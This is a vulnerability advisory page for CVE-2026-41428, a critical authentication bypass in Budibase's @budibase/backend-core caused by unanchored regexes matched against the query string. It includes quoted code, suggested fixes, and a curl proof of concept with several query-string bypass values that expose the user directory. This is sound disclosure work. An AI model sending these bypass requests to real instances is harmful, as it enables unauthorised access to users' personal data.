Loading...
Skip to main content

CVE-2026-41428 — Vulnerability in @budibase/backend-core — CVE Details

CRITICAL

Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints

Published April 16, 2026Updated May 5, 2026Source: osv

Summary

### Summary The `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL. ### Details **Step 1 — Public endpoint patterns compiled without anchors** `packages/backend-core/src/middleware/matchers.ts`, line 26: ```typescript return { regex: new RegExp(route), method, route } ``` No `^` prefix, no `$` suffix. The regex matches anywhere in the test string. **Step 2 — Regex tested against full URL including query string** `packages/backend-core/src/middleware/matchers.ts`, line 32: ```typescript const urlMatch = regex.test(ctx.request.url) ``` Koa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string. **Step 3 — publicEndpoint flag set to true** `packages/backend-core/src/middleware/authenticated.ts`, lines 123-125: ```typescript const found = matches(ctx, noAuthOptions) if (found) { publicEndpoint = true } ``` **Step 4 — Worker's global auth check skipped** `packages/worker/src/api/index.ts`, lines 160-162: ```typescript .use((ctx, next) => { if (ctx.publicEndpoint) { return next() // ← SKIPS the auth check below } if ((!ctx.isAuthenticated || ...) && !ctx.internal) { ctx.throw(403, "Unauthorized") // ← never reached } }) ``` When `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed. **Step 5 — Routes without per-route auth middleware are exposed** `loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23: ```typescript export const loggedInRoutes = endpointGroupList.group() // no middleware ``` Endpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection. **Affected endpoints (no per-route auth — fully exposed):** - `POST /api/global/users/search` — search all users (emails, names, roles) - `GET /api/global/self` — get current user info - `GET /api/global/users/accountholder` — account holder lookup - `GET /api/global/template/definitions` — template definitions - `POST /api/global/license/refresh` — refresh license - `POST /api/global/event/publish` — publish events **Not affected (have secondary per-route auth that blocks undefined user):** - `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403 - `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it ### PoC ```bash # Step 1: Confirm normal request is blocked $ curl -s -o /dev/null -w "%{http_code}" \ -X POST -H "Content-Type: application/json" -d '{}' \ "https://budibase-instance/api/global/users/search" 403 # Step 2: Bypass auth via query string injection $ curl -s -X POST -H "Content-Type: application/json" -d '{}' \ "https://budibase-instance/api/global/users/search?x=/api/system/status" {"data":[{"email":"admin@example.com","admin":{"global":true},...}],...} ``` Without auth → 403. With `?x=/api/system/status` → returns all users. Any public endpoint pattern works as the bypass value: - `?x=/api/system/status` - `?x=/api/system/environment` - `?x=/api/global/configs/public` - `?x=/api/global/auth/default` ### Impact An unauthenticated attacker can: 1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search` 2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder` 3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh` 4. **Publish events** — inject events into the event system via `/api/global/event/publish` The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet. Note: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed. ### Suggested Fix Two options (both should be applied): **Option A — Anchor the regex:** ```typescript // matchers.ts line 26 return { regex: new RegExp('^' + route + '(\\?|$)'), method, route } ``` **Option B — Use ctx.request.path instead of ctx.request.url:** ```typescript // matchers.ts line 32 const urlMatch = regex.test(ctx.request.path) // excludes query string ```

Advisory Timeline

  • First published April 16, 2026 (179 days ago).
  • Last revised May 5, 2026 — 19 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@budibase/backend-core
npm
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-287
    Improper AuthenticationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Frequently Asked Questions

What is CVE-2026-41428?
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-41428?
CVE-2026-41428 affects @budibase/backend-core. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41428 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-8783-3wgf-jggf

Related CVEs

  • CVE-2026-31818
    CRITICAL

    Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist

  • CVE-2026-35216
    CRITICAL

    Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

  • CVE-2026-73302
    CRITICAL

    Budibase: OIDC SSO account takeover: incoming identity linked by email without checking email_verified

  • CVE-2026-73300
    CRITICAL

    Budibase: SQL Injection via `multipleStatements: true`

  • CVE-2026-54352
    CRITICAL

    Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload

  • CVE-2026-45716
    HIGH

    Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration

  • CVE-2026-25044
    HIGH

    Budibase: Command Injection in Bash Automation Step

  • CVE-2026-73305
    HIGH

    Budibase: Privilege escalation via public role assignment API missing app-level authorization

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies